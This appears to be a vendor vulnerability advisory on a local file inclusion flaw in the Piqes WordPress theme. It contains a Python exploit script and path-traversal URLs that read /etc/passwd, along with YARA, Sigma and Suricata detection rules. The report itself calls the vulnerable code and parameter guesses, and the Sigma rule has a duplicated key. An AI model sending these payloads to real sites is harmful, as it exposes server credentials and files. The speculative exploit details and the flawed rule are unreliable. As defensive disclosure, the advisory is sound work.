CVE-2025-69073

Executive Summary

CVE-2025-69073 is a critical PHP Local File Inclusion (LFI) vulnerability discovered in the AncoraThemes Piqes WordPress theme, affecting versions up to and including 1.0.11. The vulnerability stems from improper control of filenames used in PHP include/require statements, allowing an unauthenticated attacker to include arbitrary local files from the server. This can lead to sensitive information disclosure, including configuration files, database credentials, and source code. The CVSS score of 8.1 (High) reflects the ease of exploitation and the potential for significant data exposure. As of this report, no official patch has been released, and no public proof-of-concept (PoC) code is available.

Supply Chain & Package Security

This vulnerability affects the Piqes WordPress theme, which is distributed through the AncoraThemes marketplace and potentially other third-party repositories. Users who have installed this theme via direct download or through a WordPress admin panel are at risk. The lack of a patch and the nature of the vulnerability (LFI) make it a high-priority target for supply chain attacks, as compromised themes can lead to full site compromise.

CVSS Breakdown & Threat Level

• CVSS Score: 8.1 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerable component and the impacted component are the same.
• Confidentiality (C): High (H) – Complete loss of confidentiality; all system data could be disclosed.
• Integrity (I): None (N) – No impact on integrity.
• Availability (A): None (N) – No impact on availability.

Threat Level: High. The vulnerability is easy to exploit, requires no authentication, and can lead to the disclosure of sensitive server files.

Deep Dive & Mechanics

The vulnerability is a PHP Local File Inclusion (LFI) issue, classified under CWE-98: Improper Control of Filename for Include/Require Statement in PHP Program. In the Piqes theme, certain PHP functions (likely include(), require(), include_once(), or require_once()) are used to load template files or other resources. The filename passed to these functions is not properly sanitized or validated, allowing an attacker to manipulate it using path traversal sequences (e.g., ../) to include arbitrary files from the server.

The vulnerable code likely resides in a theme file that handles template loading, such as header.php, footer.php, or a custom page template. For example, a parameter like ?template=default might be used to load a specific template, but without proper validation, an attacker can change it to ?template=../../../../etc/passwd to include the system's password file.

The attack is performed by sending a crafted HTTP request to the WordPress site. Since the theme is part of the WordPress ecosystem, the vulnerability is triggered through WordPress's URL routing, not through Apache or Nginx directly.

Vulnerable vs. Patched Code

Since no official patch is available, the following is a hypothetical example of the vulnerable code and a potential fix.

Vulnerable Code (PHP):

<?php
// In a theme file, e.g., template-loader.php
$template = $_GET['template'];
include( get_template_directory() . '/templates/' . $template . '.php' );
?>

Patched Code (PHP):

<?php
// In a theme file, e.g., template-loader.php
$template = basename( $_GET['template'] ); // Remove path traversal
$allowed_templates = array( 'default', 'full-width', 'sidebar' );
if ( in_array( $template, $allowed_templates ) ) {
    include( get_template_directory() . '/templates/' . $template . '.php' );
} else {
    // Handle error or load default template
    include( get_template_directory() . '/templates/default.php' );
}
?>

The patched code uses basename() to strip directory paths and validates the input against a whitelist of allowed templates.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

1. Install a local WordPress instance with the Piqes theme (version <= 1.0.11).
2. Ensure the server is accessible (e.g., via http://localhost/wordpress).

Exploitation Steps:

1. Identify the vulnerable parameter. Common parameters include template, page, file, or include. Use a wordlist or fuzzing tool to discover it.
2. Craft a request to include a sensitive file, such as /etc/passwd:

   http://localhost/wordpress/?template=../../../../etc/passwd
   

3. If successful, the contents of /etc/passwd will be displayed in the response.
4. For Windows servers, try:

   http://localhost/wordpress/?template=../../../../windows/win.ini
   

Exploit Code (Python):

import requests

target = "http://localhost/wordpress"
payload = "?template=../../../../etc/passwd"
url = target + payload

response = requests.get(url)
if response.status_code == 200 and "root:" in response.text:
    print("[+] LFI successful!")
    print(response.text)
else:
    print("[-] LFI failed or file not found.")

Blue Team (Defensive)

Detection:

• Monitor web server logs for requests containing path traversal sequences (e.g., ../, ..\\, %2e%2e%2f).
• Look for requests to theme files with unexpected parameters.
• Use a Web Application Firewall (WAF) to block common LFI patterns.

Mitigation:

• Apply input validation and whitelisting for all file inclusion parameters.
• Disable PHP's allow_url_include and allow_url_fopen if not needed.
• Use a security plugin for WordPress that monitors file inclusion attempts.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP requests containing ../ or ..\\ in query parameters.
  • Requests to wp-content/themes/piqes/ with suspicious parameters.
  • Unusual file paths in the request URI (e.g., /etc/passwd, /windows/win.ini).

• File System IOCs:

  • Unexpected inclusion of system files in web server responses.
  • Presence of log entries showing file inclusion attempts.

• Log IOCs:

  • Apache/Nginx access logs showing GET /?template=../../../../etc/passwd HTTP/1.1 with a 200 response.
  • PHP error logs indicating failed include attempts.

Detection Engineering

YARA Rule

rule Detect_LFI_Piqes_Theme {
    meta:
        description = "Detects LFI attempts targeting the Piqes WordPress theme"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-69073"
    strings:
        $path_traversal = /\.\.\/|\.\.\\|%2e%2e%2f|%2e%2e%5c/
        $piqes_param = /template|page|file|include/i
    condition:
        $path_traversal and $piqes_param
}

Sigma Rule

title: LFI Attempt Against Piqes WordPress Theme
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects path traversal attempts in HTTP requests targeting the Piqes theme
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: 
            - '../'
            - '..\\'
            - '%2e%2e%2f'
            - '%2e%2e%5c'
        cs-uri-query|contains: 'template'
    condition: selection
falsepositives:
    - Legitimate use of path traversal in other contexts (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-69073 LFI Attempt Against Piqes Theme"; flow:to_server,established; content:"GET"; http_method; content:"template"; http_uri; content:"../"; http_uri; distance:0; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the Piqes theme until a patch is available. Switch to a different, secure theme.
2. Implement a Web Application Firewall (WAF) rule to block path traversal patterns.
3. Monitor logs for any signs of exploitation.

Long-term Fix:

• The vendor (AncoraThemes) must release a patched version of the theme that properly sanitizes file inclusion parameters.
• Users should update to the latest version once available.
• Consider using a security plugin like Wordfence or Sucuri to add an extra layer of protection.

Workaround:

• If the theme cannot be disabled, manually edit the vulnerable PHP file to add input validation (as shown in the patched code example). However, this may break theme functionality and should be done with caution.

Valters IT
Securing Digital Frontiers